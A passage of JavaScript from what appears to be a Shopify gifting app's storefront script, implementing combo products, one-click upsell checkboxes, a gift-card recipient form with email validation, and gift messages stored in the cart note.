                        let productData = productsData[i]
                        if (!productData) {
                            continue
                        }
                        if (!productData.available) {
                            gkt.gktCombo.currLoadingState.isComboSoldOut = true
                        }
                    }
                    let comboProducts = comboProduct.products ? comboProduct.products : []
                    for (let i = 0; i < comboProducts.length; i++) {
                        let variants = comboProducts[i].variants
                        if (variants && variants.length && variants.length > 0) {
                            variants.forEach(item => { gkt.gktCombo.currLoadingState.comboProductVariantIds.push(parseInt(item.variantId)) })
                        }
                    }
                }
            },
            action: {
                comboAddToCartButton: async function (e) {
                    e.preventDefault();
                    e.stopPropagation();
                    // add selected products to combo
                    gkt.gktCombo.f.setSelectedVariantsState()
                    let selectedComboProductsData = gkt.gktCombo.state.selectedComboProductsData
                    let items = []
                    for (let i = 0; i < selectedComboProductsData.length; i++) {
                        items.push({ quantity: 1, id: selectedComboProductsData[i].id })
                    }
                    let resAddToCart = await gkt.utility.addToCartV2({ items: items })
                    // gkt.gktCombo.f.openComboModal()
                    console.log("addToCartButtonClicked")
                }
            }
        },
        gktOneClickUpsell: {
            init: async function (settings, parent) {
                await gkt.gktOneClickUpsell.initialize(settings, parent)
                gkt.gktOneClickUpsell.f.registerEvents()
            },
            initialize: async function (settings, parent) {
                let productHandle = gkt.f.getProductPageHandle(settings)
                // write function which return two list 
                // oneClickUpsell products that need to be shown on this product page 
                // get the list of oneClickUpsellProducts that need to be shown on cart page 
                let { oneClickUpsellListForCartPage, oneClickUpsellListForProductPage } = gkt.gktOneClickUpsell.f.segregateOneClickUpsells(settings.oneClickUpsells, productHandle)
                if (parent == "PRODUCT_PAGE" && oneClickUpsellListForProductPage && oneClickUpsellListForProductPage.length && oneClickUpsellListForProductPage.length > 0) {
                    let variantListToBeShownOnProductPage = await gkt.gktOneClickUpsell.f.findVariantListToBeShown(oneClickUpsellListForProductPage)
                    let oneClickUpsellProductPageHTML = gkt.gktOneClickUpsell.f.prepareUI(settings, variantListToBeShownOnProductPage, parent)
                    gkt.gktOneClickUpsell.f.insertIntoProductPageWrapper(settings, oneClickUpsellProductPageHTML)
                    console.log("variantListToBeShownOnProductPage", variantListToBeShownOnProductPage)
                    gkt.utility.overWriteBuyNowBtn()
                    gkt.state.isOverWriteBuyNowBtnTriggered = true
                    console.log("PRODUCT_PAGE")
                }
                if (parent == "CART_PAGE" && oneClickUpsellListForCartPage && oneClickUpsellListForCartPage.length && oneClickUpsellListForCartPage.length > 0) {
                    let variantListToBeShownOnCartPage = await gkt.gktOneClickUpsell.f.findVariantListToBeShown(oneClickUpsellListForCartPage)
                    let oneClickUpsellCartPageHTML = gkt.gktOneClickUpsell.f.prepareUI(settings, variantListToBeShownOnCartPage, parent)
                    gkt.gktOneClickUpsell.f.insertIntoCartPageWrapper(settings, oneClickUpsellCartPageHTML)
                    console.log("variantListToBeShownOnCartPage", variantListToBeShownOnCartPage)
                    console.log("CART_PAGE")
                }
            },
            f: {
                segregateOneClickUpsells: function (oneClickUpsells, currProductHandle) {
                    let oneClickUpsellListForCartPage = []
                    let oneClickUpsellListForProductPage = []
                    for (let i = 0; i < oneClickUpsells.length; i++) {
                        let oneClickUpsell = oneClickUpsells[i]
                        // add products to cart page list
                        if (oneClickUpsell.isVisibleOnCart) {
                            oneClickUpsellListForCartPage.push(oneClickUpsell)
                        }
                        // add products to product page list 
                        if (oneClickUpsell.isVisibleOnAllProductPages) {
                            oneClickUpsellListForProductPage.push(oneClickUpsell)
                        } else if (oneClickUpsell.isVisibleOnSpecificProductPages &&
                            oneClickUpsell.visibleOnSpecificProductPages &&
                            oneClickUpsell.visibleOnSpecificProductPages.find(x => x.handle === currProductHandle)) {
                            oneClickUpsellListForProductPage.push(oneClickUpsell)
                        }
                    }
                    return {
                        oneClickUpsellListForCartPage: oneClickUpsellListForCartPage,
                        oneClickUpsellListForProductPage: oneClickUpsellListForProductPage
                    }
                },
                findVariantListToBeShown: async function (oneClickUpsellList) {
                    let responseData = []
                    let variantListSelectedByUser = []
                    let apiCalls = []
                    for (let i = 0; i < oneClickUpsellList.length; i++) {
                        let oneClickUpsell = oneClickUpsellList[i]
                        for (let j = 0; j < oneClickUpsell.upsellProducts.length; j++) {
                            let oneClickUpsellProduct = oneClickUpsell.upsellProducts[j]
                            apiCalls.push(gkt.utility.getProductDataV2(oneClickUpsellProduct.handle))
                            for (let k = 0; k < oneClickUpsellProduct.variants.length; k++) {
                                variantListSelectedByUser.push(parseInt(oneClickUpsellProduct.variants[k].variantId))
                            }
                        }
                    }
                    let oneClickUpsellProducts = await Promise.all(apiCalls)
                    // get required variants and return 
                    for (let i = 0; i < oneClickUpsellProducts.length; i++) {
                        let oneClickUpsellProduct = oneClickUpsellProducts[i]
                        if (!oneClickUpsellProduct) {
                            continue
                        }
                        for (let j = 0; j < oneClickUpsellProduct.variants.length; j++) {
                            let variant = oneClickUpsellProduct.variants[j]
                            //if variant.featured_image is null then take the onceClickUpsellProduct.featured_image
                            if (variant.featured_image) {
                                variant.featured_image = variant.featured_image.src
                            } else {
                                variant.featured_image = oneClickUpsellProduct.featured_image
                            }
                            //console.log("ashfaq");
                            // if variant is not available dont add it
                            if (!variant.available) {
                                continue
                            }
                            // if variant is not selected in admin ui, dont add it
                            if (variantListSelectedByUser.indexOf(variant.id) == -1) {
                                continue
                            }
                            responseData.push(variant)
                        }
                    }
                    return responseData
                },
                insertIntoProductPageWrapper: function (settings, oneClickUpsellHTML) {
                    gkt.elements.productPageWrapperV2.find(".gktProductPageUpsellWrapper").css("display", "block")
                    // // insert into parent element 
                    // gkt.elements.gktGiftMsgAndWrapWrapperParent.find(".gktGiftMsgAndWrapWrapperInnerEle").append(settings.giftingOptions.shopifyPageinnerHTML);    //cartPageText                 
                    // insert final  element into productPageWrapperV2
                    gkt.elements.productPageWrapperV2.find(".gktProductPageUpsellWrapper").append(oneClickUpsellHTML);
                },
                insertIntoCartPageWrapper: function (settings, oneClickUpsellHTML) {
                    gkt.elements.cartPageWrapperV2.find(".gktCartUpsellWrapper").css("display", "block")
                    // insert into parent element 
                    // gkt.elements.gktCartGiftMsgAndWrapWrapperParent.find(".gktGiftMsgAndWrapWrapperInnerEle").append(settings.giftingOptions.shopifyPageinnerHTML);    //cartPageText                 
                    // insert final  element into productPageWrapperV2
                    // gkt.elements.cartPageWrapperV2.find(".gktCartUpsellWrapper").append(gkt.elements.gktCartGiftMsgAndWrapWrapperParent);
                    gkt.elements.cartPageWrapperV2.find(".gktCartUpsellWrapper").append(oneClickUpsellHTML);
                },
                prepareUI: function (settings, variantListToBeShown, parent) {
                    let gktOneClickUpsellContainer = gkt.$("<div>").addClass('gktOneClickUpsellContainer')
                    for (let i = 0; i < variantListToBeShown.length; i++) {
                        let variant = variantListToBeShown[i]
                        let gktOneClickUpsellItemContainer = gkt.$("<div>").addClass('gktOneClickUpsellItemContainer')
                        let gktOneClickUpsellItemContainerCheckboxLable = gkt.$("<label>").addClass('gktCustomCheckboxContainer')
                        let inputCheckboxEle = gkt.$("<input>").addClass('gktOneClickUpsellInputCheckboxEle')
                            .attr("type", "checkbox")
                            .attr("data-variant", JSON.stringify(variant))
                            .attr("data-parent", JSON.stringify(parent))
                        if (gkt.utility.checkIfItemPresentInCart(variant.id)) {
                            inputCheckboxEle.attr("checked", true)
                        }
                        let gktOneClickUpsellImage = gkt.$("<img>").addClass('gktOneClickUpsellImage')
                            .attr("src", variant.featured_image)
                        gktOneClickUpsellImage.css("width", "40px")
                        gktOneClickUpsellImage.css("height", "40px")
                        gktOneClickUpsellImage.css("justify-self", "right")
                        gktOneClickUpsellItemContainerCheckboxLable.append(inputCheckboxEle)
                        gktOneClickUpsellItemContainerCheckboxLable.append(gkt.$("<span>").addClass("gktCustomCheckboxCheckmark"))
                        let appendString = "" + variant.name
                        let price = variant.price > 0 ? parseFloat(variant.price / 100) : variant.price
                        if (settings.merchantInfo && settings.merchantInfo.currencyInfo && settings.merchantInfo.currencyInfo.symbol) {
                            appendString = appendString + " + " + settings.merchantInfo.currencyInfo.symbol + price
                        }
                        //create a div with appendString 
                        let gktOneClickUpsellItemContainerLableText = gkt.$("<div>").addClass('gktOneClickUpsellItemContainerLabelText')
                            .text(appendString)
                        gktOneClickUpsellItemContainerCheckboxLable.append(gktOneClickUpsellItemContainerLableText)
                        gktOneClickUpsellItemContainer.append(gktOneClickUpsellItemContainerCheckboxLable)
                        gktOneClickUpsellItemContainerCheckboxLable.append(gktOneClickUpsellImage)
                        gktOneClickUpsellContainer.append(gktOneClickUpsellItemContainer)
                    }
                    return gktOneClickUpsellContainer
                },
                registerEvents: function () {
                    gkt.$(document).on("click", ".gktOneClickUpsellInputCheckboxEle", async function (event) {
                        await gkt.gktOneClickUpsell.actions.handleOneClickUpsellOnChangEvent(event);
                        //gktPage type is cartPage then reload page
                        if (gkt.state.page_type == "cart") {
                            //turn off click events till the page loads
                            gkt.$("body").css("pointer-events", "none")
                        }
                    })
                }
            },
            actions: {
                handleOneClickUpsellOnChangEvent: async function (cb) {
                    if (cb && cb.target) {
                        let variant = JSON.parse(cb.target.getAttribute("data-variant"))
                        let parent = cb.target.getAttribute("data-parent")
                        //if true 
                        if (cb.target.checked) {
                            await gkt.utility.updateCart({ updates: { [variant.id]: 1 } })
                        }
                        else {
                            await gkt.utility.updateCart({ updates: { [variant.id]: 0 } })
                        }
                    }
                }
            }
        },
        gktGiftCard: {
            init: async function (settings, parent) {
                await gkt.gktGiftCard.initialize(settings, parent)
                gkt.gktGiftCard.f.registerEvents()
            },
            state: {
                isGiftCardAddToCartButtonOverwrite: false,
                isGiftCardBuyNowButtonOverwrite: false,
                giftCardAddToCartButtonClone: "",
                giftCardData: undefined,
                giftCardDiv: undefined,
            },
            initialize: async function (settings, parent) {
                let productHandle = gkt.f.getProductPageHandle()
                let giftCardProduct = gkt.gktGiftCard.f.checkIfGiftCardProduct(productHandle, settings.giftCards)
                if (giftCardProduct) {
                    gkt.gktGiftCard.state.giftCardData = giftCardProduct
                    gkt.gktGiftCard.f.giftCardAddToCartButtonOverwrite()
                    gkt.gktGiftCard.f.giftCardBuyNowButtonOverwrite()
                    gkt.gktGiftCard.f.changeGiftCardAddToCartButtonText(gkt.settings.languageData.giftcard.purchasePageFields.addToCartButtonText.value)
                    gkt.gktGiftCard.f.initializeModal()
                    console.log("giftCardProduct", giftCardProduct)
                }
                console.log("gktGiftCard initialize")
                console.log("settings.giftCard")
            },
            f: {
                checkIfGiftCardProduct: function (currProductHandle, giftCards) {
                    for (let i = 0; i < giftCards.length; i++) {
                        if (giftCards[i] && giftCards[i].shopifyData && giftCards[i].shopifyData.handle == currProductHandle) {
                            return giftCards[i]
                        }
                    }
                    return undefined
                },
                giftCardAddToCartButtonOverwrite: function () {
                    // set required states 
                    gkt.gktGiftCard.state.isGiftCardAddToCartButtonOverwrite = true
                    gkt.elements.addToCartBtn.unbind().unbind("click").off().off("click");
                    gkt.elements.addToCartBtn.on("click", function (event) {
                        // gkt.$(this).attr("disabled", true);
                        // setTimeout(() => { gkt.$(this).attr("disabled", false); }, 1000)
                        gkt.gktGiftCard.action.giftCardAddToCartButton(event)
                    })
                },
                giftCardBuyNowButtonOverwrite: function () {
                    // set required states 
                    gkt.gktGiftCard.state.isGiftCardBuyNowButtonOverwrite = true
                    if (gkt.$(document).find(gkt.selectors.buyNowBtn)) {
                        gkt.$(document).find(gkt.selectors.buyNowBtn).hide()
                    }
                },
                changeGiftCardAddToCartButtonText: function (insideHtml) {
                    if (gkt.gktGiftCard.state.isGiftCardAddToCartButtonOverwrite) {
                        gkt.elements.addToCartBtn.html(insideHtml)
                    } else {
                        return false
                    }
                },
                openGiftCardModal: function () {
                    gkt.$('.gktGiftCardModalWrapper').css('display', 'block')
                },
                registerEvents: function () {
                    gkt.$(document).on("click", ".gktGiftCardModalClose", gkt.gktGiftCard.action.onModalClose)
                },
                initializeModal: function () {
                    gkt.gktGiftCard.f.modalBuyNowButton()
                    gkt.gktGiftCard.f.prepareGiftCardUI()
                },
                prepareGiftCardUI: function () {
                    console.log("gktGiftCard.f.prepareGiftCardUI")
                    console.log("line 1670", gkt.settings.languageData.giftcard.purchasePageFields);
                    const { modalHeading, modalDescription, recipientName, recipientNamePlaceholder, recipientEmail, recipientEmailPlaceholder, senderName, senderNamePlaceholder, giftNote, giftNotePlaceholder, buyNowButtonText } = gkt.settings.languageData.giftcard.purchasePageFields;
                    let gktGiftCardModalPopupHeading = gkt.$(".gktGiftCardModalPopupHeading")
                    let gktGiftCardModalHeader = gkt.$(".gktGiftCardModalHeader")
                    let gktGiftCardModalSubText = gkt.$("<div>", { class: "gktGiftCardModalSubText" })
                    gktGiftCardModalSubText.append(modalDescription.value);
                    gktGiftCardModalPopupHeading.append(modalHeading.value);
                    //insert gktGiftCardModalSubText after gktGiftCardModalHeader
                    gktGiftCardModalHeader.after(gktGiftCardModalSubText)
                    let gktGiftCardToInputField = gkt.$("<input>").attr("type", "text").attr("placeholder", recipientNamePlaceholder.value).addClass("gktGiftCardToInputField");
                    let gktGiftCardFromInputField = gkt.$("<input>").attr("type", "text").attr("placeholder", senderNamePlaceholder.value).addClass("gktGiftCardFromInputField");
                    let gktGiftCardEmailInputField = gkt.$("<input>").attr("type", "email").attr("placeholder", recipientEmailPlaceholder.value).addClass("gktGiftCardEmailInputField");
                    let gktGiftCardMessageInputField = gkt.$("<textarea>").attr("type", "text").attr("placeholder", giftNotePlaceholder.value).addClass("gktGiftCardMessageInputField").attr("rows", "4");
                    let gktGiftCardEmailValidation = gkt.$("<p>", { class: "gktGiftCardEmailValidation" });
                    // add a label to all of these fields
                    let gktGiftCardToLabel = gkt.$("<label>").addClass("gktGiftCardToLabel").html(recipientName.value)
                    let gktGiftCardFromLabel = gkt.$("<label>").addClass("gktGiftCardFromLabel").html(senderName.value)
                    let gktGiftCardEmailLabel = gkt.$("<label>").addClass("gktGiftCardEmailLabel").html(recipientEmail.value)
                    let gktGiftCardMessageLabel = gkt.$("<label>").addClass("gktGiftCardMessageLabel").html(giftNote.value)
                    gktGiftCardToLabel.attr("required", true)
                    gktGiftCardFromLabel.attr("required", true)
                    gktGiftCardEmailLabel.attr("required", true)
                    gktGiftCardMessageLabel.attr("required", true)
                    // add all of these fields to a div
                    let gktGiftCardInputFieldsDiv = gkt.$("<div>").addClass("gktGiftCardInputFieldsDiv")
                    let gktGiftCardInputRow1 = gkt.$("<div>").addClass("gktGiftCardInputRow1")
                    // let gktGiftCardInputRow1Div1 = gkt.$("<div>").addClass("gktGiftCardInputRow1Div1")
                    // let gktGiftCardInputRow1Div2 = gkt.$("<div>").addClass("gktGiftCardInputRow1Div2")
                    let gktGiftCardInputRow2 = gkt.$("<div>").addClass("gktGiftCardInputRow2")
                    let gktGiftCardInputRow3 = gkt.$("<div>").addClass("gktGiftCardInputRow3")
                    let gktGiftCardInputRow4 = gkt.$("<div>").addClass("gktGiftCardInputRow4")
                    // gktGiftCardInputRow1.append(gktGiftCardInputRow1Div1).append(gktGiftCardInputRow1Div2)
                    gktGiftCardInputRow1.append(gktGiftCardToLabel).append(gktGiftCardToInputField)
                    gktGiftCardInputRow2.append(gktGiftCardEmailLabel).append(gktGiftCardEmailInputField).append(gktGiftCardEmailValidation)
                    gktGiftCardInputRow3.append(gktGiftCardFromLabel).append(gktGiftCardFromInputField)
                    gktGiftCardInputRow4.append(gktGiftCardMessageLabel).append(gktGiftCardMessageInputField)
                    gktGiftCardInputFieldsDiv.append(gktGiftCardInputRow1)
                    gktGiftCardInputFieldsDiv.append(gktGiftCardInputRow2)
                    gktGiftCardInputFieldsDiv.append(gktGiftCardInputRow3)
                    gktGiftCardInputFieldsDiv.append(gktGiftCardInputRow4)
                    //add  gktGiftCardInputFieldsDiv to a gktGiftCardContentBody to find it later
                    let gktGiftCardContentBody = gkt.$(".gktGiftCardContentBody")
                    gktGiftCardContentBody.html(gktGiftCardInputFieldsDiv)
                },
                modalBuyNowButton: function () {
                    gkt.$(".gktGiftCardContentFooterBtn1").html(gkt.settings.languageData.giftcard.purchasePageFields.buyNowButtonText.value);
                    gkt.$(".gktGiftCardContentFooterBtn1").css("background-color", "#ffffff");
                    gkt.$(".gktGiftCardContentFooterBtn1").css("color", "#000000");
                    gkt.$(".gktGiftCardContentFooterBtn1").css("border", "1px solid #000000");
                    gkt.$(".gktGiftCardContentFooterBtn1").on("click", function (event) {
                        gkt.$(this).attr("disabled", true);
                        setTimeout(() => { gkt.$(this).attr("disabled", false); }, 4000)
                        gkt.gktGiftCard.action.onModalBuyNowButton(event)
                    })
                    gkt.$(".gktGiftCardContentFooter").append(gkt.gktGiftCard.state.giftCardAddToCartButtonClone)
                },
                validateForm: function () {
                    let isValid = true
                    gkt.$(".gktGiftCardInputFieldsDiv input").each(function () {
                        if (gkt.$(this).val() == "") {
                            gkt.$(this).css("border", "1px solid red")
                            isValid = false
                        } else {
                            gkt.$(this).css("border", "1px solid #cccccc")
                        }
                    })
                    gkt.$(".gktGiftCardInputFieldsDiv textarea").each(function () {
                        if (gkt.$(this).val() == "") {
                            gkt.$(this).css("border", "1px solid red")
                            isValid = false
                        } else {
                            gkt.$(this).css("border", "1px solid #cccccc")
                        }
                    })
                    return isValid
                },
                emailValidation: function (emailString) {
                    var atSymbol = emailString.indexOf("@");
                    if (atSymbol < 1) return false;
                    var dot = emailString.lastIndexOf(".");                    
                    if (dot <= atSymbol + 2) return false;
                    // check that the dot is not at the end
                    if (dot === emailString.length - 1) return false;
                    return true;
                }
            },
            action: {
                giftCardAddToCartButton: async function (e) {
                    e.preventDefault();
                    e.stopPropagation();
                    gkt.gktGiftCard.f.openGiftCardModal()
                    console.log("giftCardAddToCartButton-clicked")
                },
                onModalClose: function (e) {
                    // hide the modal
                    gkt.$(".gktGiftCardModalWrapper").hide();
                },
                onModalBuyNowButton: async function (e) {
                    e.preventDefault();
                    e.stopPropagation();
                    let selectedVariantId = gkt.f.getSelectedVariant()
                    let gkGifttCardFromValue = gkt.$(".gktGiftCardFromInputField").val()
                    let gkGifttCardToValue = gkt.$(".gktGiftCardToInputField").val()
                    let gkGifttCardMessageValue = gkt.$(".gktGiftCardMessageInputField").val()
                    let gkGifttCardEmailValue = gkt.$(".gktGiftCardEmailInputField").val()
                    // let gkGifttCardEmailValueIsValid = gkt.f.validateEmail(gkGifttCardEmailValue)
                    let isFormValid = gkt.gktGiftCard.f.validateForm();
                    let emailValid = gkt.gktGiftCard.f.emailValidation(gkGifttCardEmailValue);
                    if (isFormValid && emailValid) {
                        gkt.$(".gktGiftCardContentFooterBtn1").html(gkt.settings.languageData.giftcard.purchasePageFields.buyNowButtonTextLoading.value);
                    } else if (!emailValid) {
                        gkt.$(".gktGiftCardEmailValidation").html("Please enter a valid email address")
                        return;
                    }
                    else {
                        return;
                    }
                    let clearCart = await gkt.utility.clearCart()
                    let resAddToCart = await gkt.utility.addToCartV2({
                        "items": [
                            {
                                "id": selectedVariantId,
                                "quantity": 1,
                                "properties": {
                                    "to": gkGifttCardToValue,
                                    "from": gkGifttCardFromValue,
                                    "note": gkGifttCardMessageValue,
                                    "send_email_to": gkGifttCardEmailValue,
                                    // "delivery_date": Date.now(),
                                }
                            }
                        ]
                    })
                    console.log("onModalBuyNowButton-clicked")
                }
            }
        },
        gktMessage:  {
            init: function (settings, parent) {
                gkt.gktMessage.initialize(settings, parent)
            },
            initialize: function (settings, parent) {
                let productHandle = gkt.f.getProductPageHandle(settings)
                let {isEnabledOnProductPage, isEnabledOnCartPage} = gkt.gktMessage.f.checkifGiftMessageEnabled(settings.giftMessage, productHandle, parent)
                if (parent == "PRODUCT_PAGE" && isEnabledOnProductPage){
                    // let oneClickUpsellProductPageHTML = gkt.gktOneClickUpsell.f.prepareUI(settings, variantListToBeShownOnProductPage, parent)
                    let giftMessageProductPageHTML = gkt.gktMessage.f.prepareUI(settings, productHandle, parent)
                    gkt.gktMessage.f.insertIntoProductPageWrapper(settings, giftMessageProductPageHTML)
                    gkt.utility.overWriteBuyNowBtn()
                    gkt.state.isOverWriteBuyNowBtnTriggered = true
                }
                if (parent == "CART_PAGE" && isEnabledOnCartPage && productHandle == "undefined"){
                    let giftMessageCartPageHTML = gkt.gktMessage.f.prepareUI(settings, productHandle, parent)
                    gkt.gktMessage.f.insertIntoCartPageWrapper(settings, giftMessageCartPageHTML)
                }
            },
            f: {
                checkifGiftMessageEnabled: function (giftMessage, currProductHandle, parent) {
                    let isEnabledOnProductPage = false
                    let isEnabledOnCartPage = false
                    if(!giftMessage.isGiftMessageEnabled){
                        return {isEnabledOnProductPage, isEnabledOnCartPage}
                    }
                    if (giftMessage.isVisibleOnCart) {
                        isEnabledOnCartPage = true
                    }
                    if (giftMessage.isVisibleOnAllProductPages) {
                        isEnabledOnProductPage = true
                    } else if (giftMessage.isVisibleOnSpecificProductPages &&
                            giftMessage.visibleOnSpecificProductPages &&
                            giftMessage.visibleOnSpecificProductPages.find(x => x.handle === currProductHandle)) {
                        isEnabledOnProductPage = true
                    }
                    return {isEnabledOnProductPage, isEnabledOnCartPage}
                },
                prepareUI:  function(settings, currProductHandle, parent){
                    let gktGiftMessageContainer = gkt.$("<div>").addClass('gktGiftMessageContainer')
                    let gktGiftMessageItemContainer = gkt.$("<div>").addClass('gktGiftMessageItemContainer')
                    let gktGiftMessageTextArea = gkt.$("<textarea>").addClass('gktGiftMessageTextArea')
                                                                    .attr("placeholder", settings.languageData.giftMessage.giftMessagePlaceholderText)
                    let gktGiftMessageItemContainerCheckboxLable = gkt.$("<label>").addClass('gktCustomCheckboxMsgContainer')
                    let inputCheckboxEle = gkt.$("<input>").addClass('gktGiftMessageInputCheckboxEle')
                        .attr("type", "checkbox")
                    if (gkt.utility.getNoteFromCart()) {
                        inputCheckboxEle.attr("checked", true)
                        let noteVal = gkt.utility.getNoteFromCart()
                        gktGiftMessageTextArea.val(noteVal)
                        // gktGiftMessageTextArea.css("display", "block")
                    }
                    // setTimeout(function () {
                    //     let gktGiftMessageTextAreaEle = gkt.$(".gktGiftMessageTextArea")
                    //     if (gkt.utility.getNoteFromCart() && gktGiftMessageTextAreaEle.val() == "") {
                    //         let noteVal = gkt.utility.getNoteFromCart()
                    //         gktGiftMessageTextAreaEle.val(noteVal)
                    //     }
                    //     console.log("gktGiftMessageTextArea- setimteout")
                    // }, 2000)
                    gktGiftMessageItemContainerCheckboxLable.append(inputCheckboxEle)
                    gktGiftMessageItemContainerCheckboxLable.append(gkt.$("<span>").addClass("gktCustomMsgCheckboxCheckmark"))
                    //create a div with appendString 
                    let gktGiftMessageItemContainerLableText = gkt.$("<div>").addClass('gktGiftMessageItemContainerLabelText')
                                                                .html(settings.languageData.giftMessage.giftMessageHeadingLabel)
                    gktGiftMessageItemContainerCheckboxLable.append(gktGiftMessageItemContainerLableText)
                    gktGiftMessageItemContainer.append(gktGiftMessageItemContainerCheckboxLable)
                    gktGiftMessageContainer.append(gktGiftMessageItemContainer)
                    gktGiftMessageContainer.append(gktGiftMessageTextArea)
                    gkt.$(document).on("click", ".gktGiftMessageInputCheckboxEle",async (e)=>{
                        // window.eventCick = e
                        // let isChecked = gkt.$(e.currentTarget).find(".gktGiftMessageInputCheckboxEle").is(":checked")
                        // if(gkt.$(this).prop('checked') == true){
                        //     console.log("gktCustomCheckboxMsgContainer")
                        // }
                        if(!e.currentTarget.checked){
                            let updateCartData = {  }
                            updateCartData.note = null
                            await gkt.utility.updateCart(updateCartData)
                            // if(gkt.$(".gktGiftMessageTextArea")){
                            //     gkt.$(".gktGiftMessageTextArea").val("")
                            // } 
                        }else{
                            // if(gkt.$(".gktGiftMessageTextArea")){
                            //     let updateCartData = {  }
                            //     updateCartData.note = gkt.$(".gktGiftMessageTextArea").val()
                            //     await gkt.utility.updateCart(updateCartData)
                            // } 
                        }
                        gkt.$(document).find('.gktGiftMessageTextArea').css("display", "block")
                    })
                    gkt.$(document).on("keyup ", ".gktGiftMessageTextArea", ((event)=>{gkt.gktMessage.action.onGiftMessageTextAreakeyup(event,settings, parent)}))
                    return gktGiftMessageContainer    
                },
                insertIntoProductPageWrapper: function (settings, giftMessageHTML) {
                    gkt.elements.productPageWrapperV2.find(".gktGiftMessageWrapper").css("display", "block")
                    // // insert into parent element 
                    // gkt.elements.gktGiftMsgAndWrapWrapperParent.find(".gktGiftMsgAndWrapWrapperInnerEle").append(settings.giftingOptions.shopifyPageinnerHTML);    //cartPageText                 
                    // insert final  element into productPageWrapperV2
                    gkt.elements.productPageWrapperV2.find(".gktGiftMessageWrapper").append(giftMessageHTML);
                },
                insertIntoCartPageWrapper: function (settings, giftMessageHTML) {
                    gkt.elements.cartPageWrapperV2.find(".gktCartGiftMessageWrapper").css("display", "block")
                    // insert into parent element 
                    // gkt.elements.gktCartGiftMsgAndWrapWrapperParent.find(".gktGiftMsgAndWrapWrapperInnerEle").append(settings.giftingOptions.shopifyPageinnerHTML);    //cartPageText                 
                    // insert final  element into productPageWrapperV2
                    // gkt.elements.cartPageWrapperV2.find(".gktCartUpsellWrapper").append(gkt.elements.gktCartGiftMsgAndWrapWrapperParent);
                    gkt.elements.cartPageWrapperV2.find(".gktCartGiftMessageWrapper").append(giftMessageHTML);
                },
            },
            action: {
                onGiftMessageTextAreakeyup: function (event,settings, parent){
                        let giftMessageValue = event.target.value
                        let updateCartData = {  }
                        updateCartData.note = giftMessageValue
                        gkt.utility.updateCart(updateCartData).then((data) => {
                        //    console.log("gift message updated")
                        })
                        // console.log("gift message")
                }
            }
        }      
    }
    window.gkt = gkt;
    /*
    * start the program 
    */
    gktUtils.f.loadJquery(function (jqueryRefObj) {
        gkt.$ = jqueryRefObj;
        gkt.$(document).ready(function () {
            console.log("document ready", gkt.$);
            gkt.f.initialize(gkt.$);
        })
    })
</script>
</body>
</html>